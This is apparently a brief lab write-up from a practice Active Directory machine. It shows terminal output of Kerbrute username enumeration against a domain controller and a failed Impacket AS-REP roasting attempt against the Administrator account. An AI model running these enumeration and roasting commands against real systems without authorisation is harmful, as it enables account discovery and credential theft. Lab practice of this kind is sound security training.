Kerbrute

╭─      /home/kali/Downloads ▓▒░─────────────────────────────────────────────────────────────░▒▓ ✔  root@kali 
╰─ ./kerbrute userenum --dc 192.168.105.165 -d heist.offsec userlist2

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 07/14/22 - Ronnie Flathers @ropnop

2022/07/14 16:52:56 >  Using KDC(s):
2022/07/14 16:52:56 >  	192.168.105.165:88

2022/07/14 16:53:09 >  [+] VALID USERNAME:	 [e-mail]
2022/07/14 16:54:39 >  [+] VALID USERNAME:	 [e-mail]
2022/07/14 17:02:14 >  Done! Tested 73323 usernames (2 valid) in 558.209 seconds

Only user is administrator

─      /home/kali/impacket/examples     master ?32 ▓▒░───────────────────────────────────░▒▓ ✔  root@kali 
╰─ python3 GetNPUsers.py heist.offsec/Administrator@192.168.105.165 -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for Administrator@192.168.105.165
[-] [Errno Connection error (HEIST.OFFSEC:88)] [Errno -2] Name or service not known
╭─      /home/kali/impacket/examples     master ?32 ▓▒░───────────────────────────────────░▒▓ ✔  root@kali 

Tested my luck aeproasting this user.